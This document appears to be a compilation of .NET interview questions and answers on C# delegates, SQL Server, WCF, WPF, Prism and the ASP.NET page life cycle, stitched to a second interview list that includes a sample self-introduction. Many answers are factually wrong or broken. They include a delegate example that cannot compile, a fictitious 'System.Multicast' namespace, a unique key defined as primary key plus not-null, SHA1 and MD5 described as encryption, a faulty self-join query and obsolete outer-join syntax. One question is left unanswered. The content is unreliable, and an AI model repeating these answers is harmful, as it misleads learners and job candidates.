See the below points regarding the Delegate:-
delegate keyword is sealed type in System. Multicast namespace.
Delegate works like a function pointer in C language.
Delegate holds the address of the function.
Delegate hides the actual information which is written inside the method
definition.
A delegate can hold address of a single function as well as the address of
multiple functions.
There are 2 types of delegate- Single-cast delegate (hold single function)
and Multicast delegate(hold multiple functions).
Addition and subtraction are allowed for the delegates but NOT
multiplication and division. It means, we can add delegates, subtract delegates etc.
e.g. To create a single cast delegate, first we can create a class with a method as:
public class DelegateDemo
{
public void Show(string msg)
{
Console.WriteLine(msg);
}
}
Now we can call the method Show using the delegate as:
public delegate void MyDelegate(string message); //declare delegate
now we need to create the object of the delegate with the address of the method
as:
DelegateDemo obj = new DelegateDemo();//class object
MyDelegate md= new MyDelegate(obj.Show(Hello World!!));
md(); // call the delegate
We can create the events and event handler by using delegate with the below
syntax:
public delegate void textChangedEventHandler(Object sender, TextEventArgs e);
This event handler will be used to handle the textbox text changed event.
We can get more details about the delegate and events from the below link:
http://msdn.microsoft.com/en-in/library/orm-9780596521066-01-17.aspx

29. Covariance and Contra-variance.
A. covariance and contravariance are the new features added with the .net 4.0.
They are basically used for the implicit reference conversion for different .net types
like array, delegate, and generic etc
You can go to the below link for more details with the examples that how we can
use the covariance and contrvariance to implicate reference conversion:
http://blogs.msdn.com/b/csharpfaq/archive/2010/02/16/covariance-and-contravariance-
faq.aspx

30. What are Extension methods?
A. Extension methods are special types of methods which are static methods but
called as the instance methods. The extension methods are added with the .Net
framework 3.5 and with the Visual Studio 2008.
These methods wont affect the existing class and the label. These methods are
used for the extra behavior which the calls can provide. There is no need to build
the class again if we add any extension method to the class.
There are various inbuilt methods added in .Net 3.5 with the introduction of LINQ.
We can see the extension methods like Order By when we use the Linq as:
e.g.
int[] numbers = { 10, 45, 15, 39, 21, 26 };
var orderedNumbers = numbers.OrderBy(a => a);


31. What are Anonymous methods and Lambda Expression?
A. Anonymous methods are those methods which does not have the name. As they
dont have the name, so there is no way to call these methods. These methods are
created by using the work delegate as below:
button1.Click += delegate{listBox1.Items.Add(textBox1.Text)};
Lambda Expression: Its an easy way to create anonymous functions. It is also an
anonymous function which has the capability to contain expressions and
statements. We can create the delegate and expression tree types using the
lambda expression.
For more details regarding the anonymous method and lambda express, you can go
through the below link:
http://www.codeproject.com/Articles/47887/C-Delegates-Anonymous-Methods-and-
Lambda-Expression

32. Multithreading. How to implement Multithreading?
A. Executing more than one process simultaneously called as multithreading. To
implement the multithreading concept, we need to use the System. Threading .dll
assembly and the System. Threading namespace.
To write the thread program, we need to create a class with the method. Now we
can create the thread object and then pass the method by using the class object to
the method.
After that we need to create the ThreadStart delegate which will call the actual
method of the class.
You can go through below link for more explanation and other details regarding the
implementation and the code snippet:
http://www.codeproject.com/Articles/1083/Multithreaded-Programming-Using-C

33. Which interface is used to-
a. Convert Boolean values to Visibility values?
b. Compare two integer values?
c. Compare String values?
A. Check the below interfaces which are used in these scenarios:
a. Convert Boolean values to Visibility values?
b. Compare two integer values?- IComparable interface
c. Compare String values? IComparer interface


SQL Server

34. What is the difference between a View and a Cursor?
A. View: It is one of the database object which is also called as virtual table. We
can also say that it is a window through which we can see some part of database.
View is also called as stored query because we are going to fetch some data using
View.
View doesnt contain any data. Its just a virtual table which is used to get the
records from the base table for which the view is created. View is faster than ad hoc
queries because when we create the view and execute it once. Next time onwards it
will be available as the compiled format. So whenever the view is called, it will just
execute rather than compiling.
Cursor: Cursor is a database object which is also the buffer area which is created as
a result of any sql statement to hold the intermediate values.
Views are used to format the rows individually. By using the views, we can process
the individual rows. There are 4 types of cursors in Sql Server-
a. Static Cursor
b. Dynamic Cursor
c. Key set cursor
d. Read-only cursor

35. How to execute multiple update on different conditions in a single query?
A. To execute multiple update using a single Sql update statement is the new
feature available with the SQL Server 2008. In this, we can update multiple rows
using a single update command.

36. Left outer joins and Right Outer joins
A. Joins are used to join 2 or more tables using some conditions. There are 3 types
of Joins in SQL Server database-
a. Left Outer Join
b. Right Outer Join
c. Full Join
In order to extract the matched row from both the tables and unmatched row from
the first table, left Outer join is used. The syntax for left outer join condition is:
T.Col1* = T2.Col1
In order to extract the matched row from both the tables and unmatched row from
the second table, right Outer join is used. The syntax for right outer join condition
is:
T.Col1 = *T2.Col1
In order to extract the matched row from both the tables and unmatched row from
the first table and then unmatched row from the second table, full join is used. The
syntax for full join condition is:
T.Col1* = *T2.Col1

37. Exception handling.
A. Exception Handling is the way to handle the unexpected error. From the SQL
Server 2005 version, trycatch block is also supported to catch the exceptions in
SQL Server database. There is various other ways to catch the error like @@Error
which is the global variable and used to get the error. RaiseError is another inbuilt
method which is used to display the error.

38. What is Performance Tuning? How do you implement it.
A. Performance Tuning is the process through which we can optimize the SQL
Server objects like functions, triggers, stored procedure so that we can achieve
high response time to the front end. In the performance tuning process we
generally check for the below point and optimize the objects processing:
a. Through Query Execution plan, check for the processing time of the query
execution.
b. Check the join conditions and break all the condition for executions of the
queries individually
c. Check for the error prone process, conditions in the queries.
d. Check for the loops whether they are terminated if any error occurs
e. Check for the processes which are taking more time in execution and how to
reduce the response time.

39. Difference between Having and Where clauses.
A. When the where clause is not able to evaluate the condition which consists of
group functions, Having clause is used. Having clause is always followed by the
Group By clause.
Where clause is used to filter the records based on the conditions. If there is the
requirement to get the group data in the select statement and where clause is not
able to get it, we can use the Having clause.
e.g. Display DeptNo, No.of Employees in the department for all the departments
where more than 3 employees are working
SELECT DEPTNO, COUNT(*) AS TOTAL_EMPLOYEE
FROM EMP
GROUP BY DEPTNO HAVING COUNT(*) >3

40. Difference between Temp tables and Tables variables?
A. Temp Table in SQL Server:
a. Temp table is the special type of tables which are used to store the intermediate
data of the actual table.
b. Temp tables are only visible to the current sessions of the sql server instance.
When the session end, these table data automatically drops.
c. We cant join the temp tables as they dont allow the foreign key constraints.
d. Temp tables are created in TempDB database.
e. We can use the same temp table name for the different user sessions.
f. Mostly used in stored procedure to handle the intermediate data.

41. What does @ and @@ suffixed by property names specify?
A. @- This is used for the variable declaration
e.g. @name varchar2(50)
@@- This is used for the Global variable declaration
e.g. @@Error=0

42. Self-join queries.
A. Self-Join is a type of join which is used to join the same table by creating the
second instance of the same table. So we join 2 instances of the same table in case
of self-join. This type of join is used when there is the requirement to get the
referenced data which is available in the same table.
e.g. A table contains EmpId, Ename and ManagerId
As the manager id is also an employee id. Now if we want that who is the manager
of which employee. In this situation, we need to create the instance of the same
table and get the required data as:
SELECT EMPID, ENAME, ENAME AS [MANAGER NAME]
FROM EMP E1, EMP E2
WHERE E1.EMPID= E2.MANAGERID

43. Types of Index.
A. Indexes are one the database objects which is used to improve the performance
of the database queries. it reduces the table scan while retrieving the data from the
database and the search gets fast-
There are 2 types of indexes used in the SQL server:
a. Clustered index
b. Non clustered index
There are 3 more types of index but those comes under the above two-
a. unique index
b. Composite Index
c. XML Index-added in SQL Server 2005
The index basically works on searching like binary tree where the root value is the
finding value and it will be compared with the partitioned value of the tree.

44. Difference between Primary key, Unique key and Candidate key?
A. Primary Key- It is a key to make the unique identification of the row in a table. It
doesnt allow null values in the primary key column. We can create the lookup
columns based on the primary key. One table allows maximum of 1 primary key
and in 1 table, we can create the primary key column by using 16 columns. Due to
one of the normalization rule, we have to create primary key for the table to make
the rows unique.
Unique Key:- Primary Key+ Not null is called as unique key. Unique key is also used
to make the rows as unique in a table. The only difference between primary key
and unique key is that primary key doesnt allow null value while the unique key
allow. The limitation of the null in unique key is that it allows only one Null so in
only one row; we can make the key as null for the unique key.
Candidate key- the key other than primary key to make the rows as unique is called
as candidate key. In candidate key, we take the columns which are not in the
primary key and make the key for uniqueness of the row.

45. What is the default value for Date type. What are Min and Max values for Date
in 2008.
A. The default value of Date is CURRENT_TIMESTAMP
Below are the new date and time values in Sql Server 2008:
In SQL Server 2008:
1. DateTime2
Min Value: 0001-01-01 00:00:00.0000000
Max Value: 9999-12-31 23:59:59.9999999
2. Date
Min Value: 0001-01-01
Max Value: 9999-12-31

You can go through the below link for couple of work around:
http://dhaneenja.blogspot.in/2008/06/minimum-year-value-in-sql-server.html

WCF

46. What is WCF also known as?
A. WCF (Windows Communication Foundation) is also know an Indigo by its code
name.

47. Difference between WCF and Web Services?
A. Below are the main differences between the WCF and Web Service:
Web Service:
a. Can be hosted in IIS only
b. Only two types of operations affects- One-Way, Request-Response
c. To serialize the data use System.Xml.Serialization
d. To encode the data use- XML 1.0, MTOM, DIME, Custom
WCF service:
a. Can be hosted in IIS, Self Hosting, WAS, Windows Services etc
b. Three types of operations affects- One-Way, Request-Response and Duplex
c. To serialize the data use System.Runtimel.Serialization
d. To encode the data use- XML 1.0, MTOM,Binary, Custom
e. WCF Service can be accessed through HTTP, TCP, Named pipes, MSMQ,P2P
etc.

48. What are Endpoints?
A. The collection of Address, Binding and Contract is called as End Point. In Sort,
EndPoint = A+B+C
Address (Where)- it means where the service is hosted. URL of the service shows
the address.
Binding (How)- How to connect to the service, is defined by the Binding. It basically
has the definition of the communication channel to communicate to the WCF service
Contract (what)- It means what the service contains for the client. What all the
methods are implemented in the WCF service is implemented in the Contract.

49. What are Behavior and Bindings?
A. Binding mainly describes about the communication of the client and service. For
this, there are protocols corresponding to the binding behavior which will take care
of the communication channel. There are different protocols which we use for the
different types of bindings. E.g. HTTP, TCP, MSMQ, Named Pipes etc.
Behavior is used for the common configurations that could be for endpoints. When
we use the common behavior, they affect to all the end points. Adding the service
behavior affect the service related stuff while the endpoint related behavior affects
the end points. Also operations level behavior affects the operations.

50. What are different types of Contracts supported?
A. There are mainly 5 type of contracts used in WCF service:
a. Service Contract
b. Operation Contract
c. Data Contract
d. Message Contract
e. Fault Contract

51. What is the difference between Transport and Message Security mode?
A. WCF supports 2 types of security- Transport Level Security and Message Level
Security
Transport Level Security- In this type of security, we make the transport channel as
secure so that the data flows in that channel will be automatically secured. For
HTTP channel, we use the client certificate for the security of the web address. SSL
is used for the HTTP channel security. As we dont need to secure each of the
messages which are floating between the client and the service, the speed is faster
as direct message is going to the client from the service.
Message level security- This type of security in WCF is used where we dont have
the fixed transport medium and we need to secure each message which is floating
between the server and the client. In this type of security we use certain algorithms
for making the message as secure message. We use some extra bits and send with
the message. We also use some encryption techniques like SHA1 or MD5 which
make the proper security for our message. As each message needs to be secured,
this type of security makes some delay in the process of sending and receiving the
messages.

52. How to configure WCF security to support Windows authentication?
A. To support the WCF security in Windows Authentication, we need to add the
ClientCredetialType attribute to Windows under the security tab element:
transport clientCredentialType="Windows"

53. How to use Fault Contract?
A. Fault Contract is mainly used for viewing and displaying the errors which
occurred in the service. So it basically documents the error and the error message
can be shown to the user in the understandable way. We cant use here the
try.catch block for the error handling because the trycatch is the technology
specific (.Net Technology). So we use the Fault contract for the error handling.
e.g. To use the Fault contract, we can simply write like the below:
public int Add(int number1,int number2)
{
// write some implementation
throw new FaultException (Error while adding data..);
}
Here the fault Exception method is the inbuilt method which will throw the
exception and display the message . We can use the custom class so that the
message can be customized and the customized message can be sent to the client.
So we can creeat a clss like:
Public Class CustomException()
{
public int ID{get;set;}
public string Message{get;set;}

public string Type{get;set;}
}
Now this custom type we ca use with the Operation Contract as:
[ServiceContract]
Public interface IMyInterface
{
[OperationContract]
[FaultContract(typeOf(CustomException))]
Int Add(int num1,int num2);
}
Now while implementation of the Add method, we can assign the class properties.

WPF

54. Diff between XML and XAML.
A. XAML is the declarative XML based language which is used to define the objects
and properties. XAML document is loaded by XAML parser. So XAML Parser initiates
the objects and set those properties. XAML is mainly used in creating the objects in
WPF and Silverlight applications.
For more detailed explanation, you can go through the below link:
http://www.differencebetween.net/technology/software-technology/difference-
between-xml-and-xaml/

55. Stack Panel and Wrap Panel.
A. StackPanel is one of layout control in WPF. We can place the child controls inside
the stack panel either horizontally or vertically. So it provides two types of
orientations- Horizontal Orientation and Vertical orientation.
You can go through the below link for more detailed explanation and the code
snippet:
http://wpftutorial.net/StackPanel.html

Wrap panel is another layout control which is similar to the StackPanel. Wrap panel
not only keep the control in horizontal and vertical orientation but also wrap them
in to new line if there is no space. Here also the orientation can be set as
Horizontal or Vertical. Its main use is to arrange the tabs in the tab control, menu
control or in toolbar items.
You can go through the below link for more details:
http://wpftutorial.net/WrapPanel.html

56. Hierarchical Data Template.
A. Hierarchical Data Template is a type of data template which is used to bind the
controls which supports HeaderedItemsControl, like TreeViewItem or MenuItem
We can bind those controls items using the Hierarchical Data Template. It displayed
the data in to Hierarchical structure in the tree structure. It could be in the left to
right or top to bottom.
You can go through the below link for more details:
http://msdn.microsoft.com/en-us/library/system.windows.hierarchicaldatatemplate.aspx

57. Virtualization.
A. This is the feature in WPF which increases the efficiency of the programs when
there are the large data objects. If the WPF ItemsControl is bound with the large
collection data source object and we enabled the virtualization, then the controls
will show only the data which is in the visual container for those items which are
visible currently. This visual data is only the small part of the large data object.
Now when the user will scroll down or up, the rest of the data will be visible and
previous data will be hidden again. So this is increase the efficiency of the program
from the UI prospective.

58. Events and Routed Events.
A. Routed event is special type of event which can invoke and handle multiple
events from different objects rather than the event which is coming from one
object. So it generally handles the object from the element tree. So whatever the
elements inside the element tree and if they generate the event-may be multiple
events, the routed event is capable of handling those events.
The routed event can be invoked in both the directions but in general it comes from
the source element and then bubbled up in the element tree until the root element.

59. Bubbling and Tunneling.
A. Bubbling: When the events are raised form the innermost element in the visual
tree and comes up towards the root element, is called as bubbling.
Tunneling: It is the opposite process of Bubbling where the events fired by the root
element goes down towards the last child element control.
Please go through the below link for more details:
http://www.dotnetspider.com/forum/130497-event-bubbling-event-tunneling.aspx

60. Resource Dictionary, Static Resources and Dynamic Resources.
A. Static and Dynamic resources are used for binding the resources to the control
objects.
The main difference between StaticResource and DynamicResource is that how the
resource is retrieved elements. If the resource is StaticResource, it will be retrieved
only once by the element whoe is referencing it and it will be used for all the
resources. While the DynamicResource gets its value each time they reference to
the objects. So StaticResource is faster than the DynamicResource , because
StaticResource needs to get the value only once while the DynamicResource needs
each time to get it.

61. What is Prism?
A. Prism is the framework or the set of guidelines which is used to develop the WPF
desktop application as well as the Silverlight Rich Internet applications. So its a
kind of Design pattern to Develop the XMAL based application. It also used to
develop the Windows 7 applications. Prism mainly helps to design the loosely
coupled components which can be easily integrated with the other components of
the overall application. Prism mainly used to build the composite applications which
need various other components to be integrated.
Prism mainly guides of creating the applications using the Model-View-ViewModel
(MVVM) model, Managed Extensibility Framework (MEF), and navigation in the
application.
To use the Prism framework, we need to use their library called as Prism Library. So
prism Library is the inbuilt set of components which can be used in developing the
WPF and Silverlight applications.
You can go through the below link for more details and the use of the components
of the Prism framework:
http://msdn.microsoft.com/en-us/library/ff648465.aspx


62. Dependency Injection, Event Aggregator.
A. For the details about the dependency injection, you can follow the below link:
http://wpftutorial.net/ReferenceArchitecture.html
EventAggregator : It is the utility service which contains the events and allows the
decouple the publisher and subscriber so that they can be buildup independently.
Decouple is primarily useful when a new module needs to be added or removed or
modified. The new module can be added as per the event fired and defined in the
shell.
For more details about the Event Aggregator, you can follow the below link:
http://msdn.microsoft.com/en-us/library/ff921122(v=pandp.20).aspx

63. Shell, Bootstrapper and Region Managers
A. Bootstrapper:- An utility in WPF engine which is mainly responsible for the
initialization of the application by using the composite application library. By using
the bootstrapper we can find out how the components of the application are wired
up in the composite application library. The bootstrapper responsibility to create the
Shell or main window. Composite application library has the default abstract class
UnityBootstrapper which actually handles the initialization.
You can go through the below link for more details about the bootstrapper:
http://msdn.microsoft.com/en-us/library/ff921139(v=pandp.20).aspx
Region and Region Managers: This is concept of Prism framework. We define the
region through XAML code and once a region is defined, automatically it will be
registered with the RegionManager. Actually the Bootstrapper registers a service
called the RegionManager at run time. RegionManager is a dictionary where the key
is name of the region. The value of the key is the reference of the IRegion
interface. RegionAdapter is used to create the instance reference of the IRegion
interface.
You can go through the below link for more details about the Region and Region
Manager:
http://msdn.microsoft.com/en-us/magazine/cc785479.aspx#id0090091

64. What are MEF and Unity?
A. The MEF (Managed Extensibility Framework) is the new concept in .net 4.0. It is
used to create the lightweight and extensible applications to create Managed
Extensibility Framework. It is not only allows the extension but also reused within
the application. Extension can be easily encapsulating the code using the MEF.
For more details, you can go through the below link:
http://msdn.microsoft.com/en-us/library/dd460648.aspx

65. How to navigate to another page?
A. There is a class NavigationService which can be used for navigation of the WPF
window:
this.NavigationService.GoForward();
//or
this.NavigationService.Navigate("MysecondPage.xaml")

latest interview questions on asp net c# for 2 years experience

Introduction : -
I have collected the best asp.net and c#.net question with answer for experience person
who have two [2] years of experience in asp.net and c#.net.
Firstly any enterviewer ask to you

1 :- How is Felling know ?
Asn : - Good ,Felling well like this you give the answer

2 :- Tell me about your self in brief ?
Good morning sir/madam.

This is Chitranjan Singh Rathore

My educational qualification are:

I have completed my 10th standard in 2002 from Little flower school and also 12th
standard in 2004.

I have completed my graduation in 2007 from Holkar science college.

I have completed my post graduation in 2010 from Medicaps Colloege indore .

Coming to my family background.

My father is a private employee in banking sector.

My mother is a housewife.

I have 1 elder sister and 2 elder brother.

My personal details are.

My strength are hardworking and truth person.

My weakness are emotional and a little shy.

My hobbies are playing cricket and indoor games.

Thank you.
3 :- What is asp.net life cycle ?

Life Cycle Events

PreInit

The properties like IsPostBack have been set at this time.

This event will be used when we want to:
1. Set master page dynamically.
2. Set theme dynamically.
3. Read or set profile property values.
4. This event is also preferred if want to create any dynamic
controls.
Init
1. Raised after all the controls have been initialized with their
default values and any skin settings have been applied.
2. Fired for individual controls first and then for page.
LoadViewState
1. Fires only if IsPostBack is true.
2. Values stored in HiddenField with id as _ViewState decoded and
stored into corresponding controls.
LoadPostData

Some controls like:
1. Fires only if IsPostBack is true.
2. Some controls like Textbox are implemented from
IPostBackDataHandler and this fires only for such controls.
3. In this event page processes postback data included in t he
request object pass it to the respective controls.
PreLoad
Used only if want to inject logic before actual page load starts.
Load
Used normally to perform tasks which are common to all requests,
such as setting up a database query.
Control events
1. This event is fired when IsPostBack is true.
2. Use these events to handle specific control events, such as a
Button control's Click event or a TextBox control's TextChanged event.
PreRenderRaised after the page object has created all the controls that are
required for rendering which includes child controls and composite controls.
1. Use the event to make final changes to the contents of the page
or its controls before the values are stored into the viewstate and the
rendering stage begins.
2. Mainly used when we want to inject custom JavaScript logic.
SaveViewState
All the control values that support viewstate are encoded and stored
into the viewstate.
RenderGenerates output (HTML) to be rendered at the client side.
We can add custom HTML to the output if we want here.
Unload
1. Fired for individual controls first and then for page.
2. Used to perform cleanup work like closing open files and
database connections.

5 :- How the request is handled by IIS ?

We give an URL to an aspx page in the browser address bar and press enter.
What happens next? We get the response in terms of rendered HTML but
how?
1. We are requesting something from the browser, which means
indirectly we are requesting something from the Web Server, that
means IIS. IIS, based on the file extension, decides which ISAPI
extension can serve the request.

And in case of ASP.Net (.aspx) it will be aspnet_isapi_dll so the
request is passed to it for processing.

2. When the first request comes to the website,

an application domain is created by the ApplicationManager class
where exactly the website runs, and which creates an isolation
between 2 web applications.
Within the application domain an instance of the HostingEnvironment
class is created which provides access information about the
application such as the name of the folder where the application is
stored.

3. Next ASP.Net creates core objects like HttpContext,
HttpRequest,HttpResponse.

4. Finally the application starts by creating an instance of the
HttpApplication Class (which can be reused for multiple requests to
maximize performance).
6 :- difference between form authentication and windows authentication asp net ?
ans - Click Here
difference between form authentication and windows authentication asp net

7 :- what is authentication and authorization in .net ?
ans :- Click Here
what is authenticati on and authorization in .net

8 :- What is Difference between Session and Cookies ?

The basic and main difference between cookie and session is that cookies are stored in the
user's browser but sessions can't store in user's browser. This specifies which is best used
for.

A cookie can keep all the information in the client's browser until deleted. If a person
has a login and password, this can be set as a cookie in their browser so they do not have
to re-login to your website every time they visi t. You can store almost anything in a
browser cookie.

Sessions are not reliant on the user allowing a cookie. They work like a token in the
browser which allowing access and passing information while the user has opened his
browser. The problem in sessions is when you close the browser the session will
automatically lost. So, if you had a site requiring a login, this couldn' t be saved as a
session but it can be saved as a cookie, and the user has to re -login every time they visit.
cookies are nothing but a small piece of information on the client machine. before we
create a cookies we should check whether the cookies are allowed at the browser side.
They are limited in a size 4k.(they are 2 types of cookies peristant cookie , and session
cookies)

Sessions cookies are stored in a server memory during the client browser session.When the
browser is closed the session cookies are lost.

9 :-Advantages and disadvantages of Session?
Following are the basic advantages and disadvantages of using session. I have describe in
details with each type of session at later point of time.
Advantages:
It helps maintain user state and data all over the application.
It is easy to implement and we can store any kind of object.
Stores client data separately.
Session is secure and transparent from the user.
Disadvantages:
Performance overhead in case of large volumes of data/user, because session data is
stored in server memory.
Overhead involved in serializing and de-serializing session data, because in the
case of StateServer and SQLServer session modes, we need to serialize the objects
before storing them.
Besides these, there are many advantages and disadvantages of session that are based on
the session type. I have discussed all of them in the respective sections below.

You might also like